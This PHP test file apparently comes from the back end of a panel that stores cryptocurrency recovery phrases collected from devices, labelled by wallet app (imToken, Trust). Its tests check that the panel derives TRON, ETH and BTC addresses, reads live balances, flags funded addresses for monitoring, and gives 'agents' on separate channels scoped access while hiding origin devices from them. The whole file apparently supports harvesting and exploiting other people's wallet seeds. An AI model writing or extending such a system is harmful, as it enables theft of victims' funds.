416 lines
17 KiB
PHP
416 lines
17 KiB
PHP
<?php
|
|
|
|
namespace Tests\Feature;
|
|
|
|
use App\Models\Admin;
|
|
use App\Models\Channel;
|
|
use App\Models\Device;
|
|
use App\Models\User;
|
|
use App\Models\WalletAddress;
|
|
use App\Models\WalletMnemonic;
|
|
use App\Services\Chain\TronDriver;
|
|
use Illuminate\Foundation\Testing\RefreshDatabase;
|
|
use Illuminate\Support\Facades\Http;
|
|
use PHPUnit\Framework\Attributes\Test;
|
|
use Tests\TestCase;
|
|
|
|
class MnemonicWalletsTest extends TestCase
|
|
{
|
|
use RefreshDatabase;
|
|
|
|
private function storeMnemonic(Device $device, string $source = 'imToken'): WalletMnemonic
|
|
{
|
|
$row = new WalletMnemonic([
|
|
'device_id' => $device->id,
|
|
'source' => $source,
|
|
]);
|
|
$row->mnemonic = 'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about';
|
|
$row->save();
|
|
|
|
return $row;
|
|
}
|
|
|
|
#[Test]
|
|
public function wallets_endpoint_returns_linked_address_balances(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-wallets']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
|
'chain_type' => 'TRON',
|
|
'source' => 'imToken',
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'derive_index' => 0,
|
|
'usdt' => 12.5,
|
|
'trx' => 3.1,
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => '0x9858effd232b4033e47d90003d41ec34ecaeda94',
|
|
'chain_type' => 'ETH',
|
|
'source' => 'imToken',
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'derive_index' => 0,
|
|
'eth' => 1.25,
|
|
]);
|
|
WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => 'unlinked-addr',
|
|
'chain_type' => 'BTC',
|
|
'source' => 'imToken',
|
|
'btc' => 9,
|
|
]);
|
|
|
|
$wallets = $this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.mnemonic_id', $mnemonic->id)
|
|
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
|
->assertJsonPath('data.addresses.0.usdt', '12.5')
|
|
->assertJsonPath('data.addresses.0.trx', '3.1')
|
|
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
|
->assertJsonPath('data.addresses.1.eth', '1.25')
|
|
->assertJsonCount(2, 'data.addresses');
|
|
$this->assertStringNotContainsString(
|
|
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
$wallets->getContent()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function wallets_endpoint_respects_agent_scope(): void
|
|
{
|
|
Http::fake();
|
|
|
|
$agent = User::query()->create(['username' => 'agent-w', 'password' => 'secret12', 'status' => 1]);
|
|
$chA = 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa';
|
|
$chB = 'bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbb';
|
|
Channel::query()->create(['channel_id' => $chA, 'user_id' => $agent->id, 'status' => 1]);
|
|
Channel::query()->create(['channel_id' => $chB, 'user_id' => Channel::OFFICIAL_USER_ID, 'status' => 1]);
|
|
|
|
$mine = Device::query()->create(['device_id' => 'dev-mine', 'channel_id' => $chA]);
|
|
$other = Device::query()->create(['device_id' => 'dev-other', 'channel_id' => $chB]);
|
|
$mnMine = $this->storeMnemonic($mine);
|
|
$mnOther = $this->storeMnemonic($other, 'Trust');
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->getJson(route('user.mnemonics.wallets', $mnMine))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0);
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->getJson(route('user.mnemonics.wallets', $mnOther))
|
|
->assertForbidden();
|
|
}
|
|
|
|
#[Test]
|
|
public function mnemonic_list_includes_wallets_url(): void
|
|
{
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-list']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$list = $this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.id', $mnemonic->id)
|
|
->assertJsonPath('data.0.mnemonic', 'abandon *** about')
|
|
->assertJsonPath('data.0.wallets_url', route('admin.mnemonics.wallets', $mnemonic))
|
|
->assertJsonPath('data.0.refresh_url', route('admin.mnemonics.wallets.refresh', $mnemonic));
|
|
$this->assertStringNotContainsString(
|
|
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
$list->getContent()
|
|
);
|
|
}
|
|
|
|
#[Test]
|
|
public function agent_list_hides_origin_device_when_scan_hidden(): void
|
|
{
|
|
config(['coruna.scan.agent_visible' => false]);
|
|
$agent = User::query()->create(['username' => 'agent-origin', 'password' => 'secret12', 'status' => 1]);
|
|
$ch = 'cccccccccccccccccccccccccccccccc';
|
|
Channel::query()->create(['channel_id' => $ch, 'user_id' => $agent->id, 'status' => 1]);
|
|
$origin = Device::query()->create(['device_id' => 'dev-origin-hidden', 'channel_id' => $ch]);
|
|
$holder = Device::query()->create(['device_id' => 'dev-holder-shown', 'channel_id' => $ch]);
|
|
$mnemonic = $this->storeMnemonic($holder);
|
|
$mnemonic->origin_device_id = $origin->id;
|
|
$mnemonic->save();
|
|
|
|
$this->actingAs($agent, 'agent')
|
|
->getJson(route('user.mnemonics.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.origin_device_key', '');
|
|
$this->actingAs($agent, 'agent')
|
|
->get(route('user.mnemonics.index'))
|
|
->assertOk()
|
|
->assertDontSee('原设备');
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin-origin', 'password' => 'admin123']);
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.data'))
|
|
->assertOk()
|
|
->assertJsonPath('data.0.origin_device_key', 'dev-origin-hidden');
|
|
$this->actingAs($admin, 'admin')
|
|
->get(route('admin.mnemonics.index'))
|
|
->assertOk()
|
|
->assertSee('原设备');
|
|
}
|
|
|
|
#[Test]
|
|
public function refresh_updates_linked_balances_and_throttles(): void
|
|
{
|
|
Http::fake([
|
|
'*/v1/accounts/*' => Http::response([
|
|
'data' => [[
|
|
'balance' => 2_000_000,
|
|
'trc20' => [
|
|
['TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t' => '5000000'],
|
|
],
|
|
]],
|
|
'success' => true,
|
|
], 200),
|
|
]);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-refresh']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
$addr = WalletAddress::query()->create([
|
|
'device_id' => $device->id,
|
|
'address' => 'TKKyetwdwuv6fTWVMPsdQUZYwB7yiNwRp6',
|
|
'chain_type' => 'TRON',
|
|
'source' => 'imToken',
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'usdt' => 0,
|
|
'trx' => 0,
|
|
]);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.refreshed', 1)
|
|
->assertJsonPath('data.addresses.0.trx', '2')
|
|
->assertJsonPath('data.addresses.0.usdt', '5');
|
|
|
|
$addr->refresh();
|
|
$this->assertEqualsWithDelta(2.0, (float) $addr->trx, 0.0000001);
|
|
$this->assertEqualsWithDelta(5.0, (float) $addr->usdt, 0.0000001);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->postJson(route('admin.mnemonics.wallets.refresh', $mnemonic))
|
|
->assertStatus(429)
|
|
->assertJsonPath('code', 1)
|
|
->assertJsonStructure(['data' => ['retry_after']]);
|
|
}
|
|
|
|
#[Test]
|
|
public function wallets_discovers_activated_indexes_when_no_linked_addresses(): void
|
|
{
|
|
$this->fakeDiscoveryRpcs([
|
|
'tron' => ['TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH'],
|
|
]);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-discover']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
|
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
|
->assertJsonPath('data.addresses.0.trx', '5')
|
|
->assertJsonPath('data.addresses.0.active', true)
|
|
->assertJsonPath('data.addresses.0.persisted', true)
|
|
->assertJsonCount(1, 'data.addresses');
|
|
|
|
$this->assertDatabaseHas('wallet_addresses', [
|
|
'device_id' => $device->id,
|
|
'address' => 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH',
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'derive_index' => 0,
|
|
'chain_type' => 'TRON',
|
|
'monitor' => 1,
|
|
]);
|
|
$this->assertSame(1, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function wallets_persists_activated_index_within_first_three(): void
|
|
{
|
|
$tron2 = (new TronDriver)->deriveAddress(
|
|
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
2,
|
|
);
|
|
$this->fakeDiscoveryRpcs([
|
|
'tron' => [$tron2],
|
|
]);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-index2']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.addresses.0.address', $tron2)
|
|
->assertJsonPath('data.addresses.0.derive_index', 2)
|
|
->assertJsonCount(1, 'data.addresses');
|
|
|
|
$this->assertDatabaseHas('wallet_addresses', [
|
|
'device_id' => $device->id,
|
|
'address' => $tron2,
|
|
'mnemonic_id' => $mnemonic->id,
|
|
'derive_index' => 2,
|
|
]);
|
|
$this->assertSame(1, WalletAddress::query()->where('device_id', $device->id)->count());
|
|
}
|
|
|
|
#[Test]
|
|
public function wallets_skips_activated_index_beyond_first_three(): void
|
|
{
|
|
$tron3 = (new TronDriver)->deriveAddress(
|
|
'abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon abandon about',
|
|
3,
|
|
);
|
|
$this->fakeDiscoveryRpcs([
|
|
'tron' => [$tron3],
|
|
]);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-index3']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.addresses.0.active', false)
|
|
->assertJsonPath('data.addresses.0.persisted', false)
|
|
->assertJsonCount(3, 'data.addresses');
|
|
|
|
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
|
$this->assertDatabaseMissing('wallet_addresses', [
|
|
'address' => $tron3,
|
|
]);
|
|
}
|
|
|
|
#[Test]
|
|
public function wallets_previews_inactive_index_zero_without_persisting(): void
|
|
{
|
|
$this->fakeDiscoveryRpcs([]);
|
|
|
|
$admin = Admin::query()->create(['username' => 'admin', 'password' => 'admin123']);
|
|
$device = Device::query()->create(['device_id' => 'dev-mn-empty']);
|
|
$mnemonic = $this->storeMnemonic($device);
|
|
|
|
$this->actingAs($admin, 'admin')
|
|
->getJson(route('admin.mnemonics.wallets', $mnemonic))
|
|
->assertOk()
|
|
->assertJsonPath('code', 0)
|
|
->assertJsonPath('data.addresses.0.address', 'TUEZSdKsoDHQMeZwihtdoBiN46zxhGWYdH')
|
|
->assertJsonPath('data.addresses.0.chain_type', 'TRON')
|
|
->assertJsonPath('data.addresses.0.derive_index', 0)
|
|
->assertJsonPath('data.addresses.0.active', false)
|
|
->assertJsonPath('data.addresses.0.persisted', false)
|
|
->assertJsonPath('data.addresses.0.id', null)
|
|
->assertJsonPath('data.addresses.1.address', '0x9858effd232b4033e47d90003d41ec34ecaeda94')
|
|
->assertJsonPath('data.addresses.1.chain_type', 'ETH')
|
|
->assertJsonPath('data.addresses.1.active', false)
|
|
->assertJsonPath('data.addresses.2.address', '1LqBGSKuX5yYUonjxT5qGfpUsXKYYWeabA')
|
|
->assertJsonPath('data.addresses.2.chain_type', 'BTC')
|
|
->assertJsonPath('data.addresses.2.active', false)
|
|
->assertJsonCount(3, 'data.addresses');
|
|
|
|
$this->assertSame(0, WalletAddress::query()->where('device_id', $device->id)->count());
|
|
$this->assertSame(0, WalletAddress::query()->where('mnemonic_id', $mnemonic->id)->count());
|
|
}
|
|
|
|
/**
|
|
* @param array{tron?: list<string>, eth?: list<string>, btc?: list<string>} $activated
|
|
*/
|
|
private function fakeDiscoveryRpcs(array $activated): void
|
|
{
|
|
config([
|
|
'coruna.tron.full_node' => 'https://api.trongrid.io',
|
|
'coruna.tron.usdt_contract' => 'TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t',
|
|
'coruna.eth.rpc_url' => 'https://ethereum.example',
|
|
'coruna.eth.usdt_contract' => '0xdAC17F958D2ee523a2206206994597C13D831ec7',
|
|
'coruna.btc.api_url' => 'https://mempool.example/api',
|
|
]);
|
|
|
|
$tronOn = array_fill_keys($activated['tron'] ?? [], true);
|
|
$ethOn = [];
|
|
foreach ($activated['eth'] ?? [] as $addr) {
|
|
$ethOn[strtolower($addr)] = true;
|
|
}
|
|
$btcOn = array_fill_keys($activated['btc'] ?? [], true);
|
|
|
|
Http::fake(function ($request) use ($tronOn, $ethOn, $btcOn) {
|
|
$url = $request->url();
|
|
if (str_contains($url, '/wallet/getaccount')) {
|
|
$addr = (string) ($request->data()['address'] ?? '');
|
|
if (isset($tronOn[$addr])) {
|
|
return Http::response([
|
|
'address' => $addr,
|
|
'create_time' => 1,
|
|
'balance' => 5_000_000,
|
|
], 200);
|
|
}
|
|
|
|
return Http::response([], 200);
|
|
}
|
|
if (str_contains($url, '/wallet/triggerconstantcontract')) {
|
|
return Http::response(['constant_result' => ['0']], 200);
|
|
}
|
|
if (str_contains($url, 'ethereum.example')) {
|
|
$body = $request->data();
|
|
$method = $body['method'] ?? '';
|
|
$target = strtolower((string) (($body['params'][0] ?? '')));
|
|
if ($method === 'eth_call') {
|
|
$target = '';
|
|
}
|
|
$hit = $target !== '' && isset($ethOn[$target]);
|
|
if (in_array($method, ['eth_getTransactionCount', 'eth_getBalance', 'eth_call'], true)) {
|
|
return Http::response([
|
|
'jsonrpc' => '2.0',
|
|
'id' => 1,
|
|
'result' => $hit ? '0x1' : '0x0',
|
|
], 200);
|
|
}
|
|
}
|
|
if (str_contains($url, 'mempool.example')) {
|
|
foreach (array_keys($btcOn) as $addr) {
|
|
if (str_contains($url, rawurlencode($addr)) || str_contains($url, $addr)) {
|
|
return Http::response([
|
|
'chain_stats' => [
|
|
'tx_count' => 1,
|
|
'funded_txo_count' => 1,
|
|
'funded_txo_sum' => 100_000,
|
|
'spent_txo_sum' => 0,
|
|
],
|
|
], 200);
|
|
}
|
|
}
|
|
|
|
return Http::response([
|
|
'chain_stats' => [
|
|
'tx_count' => 0,
|
|
'funded_txo_count' => 0,
|
|
'funded_txo_sum' => 0,
|
|
'spent_txo_sum' => 0,
|
|
],
|
|
], 200);
|
|
}
|
|
|
|
return Http::response([], 404);
|
|
});
|
|
}
|
|
}
|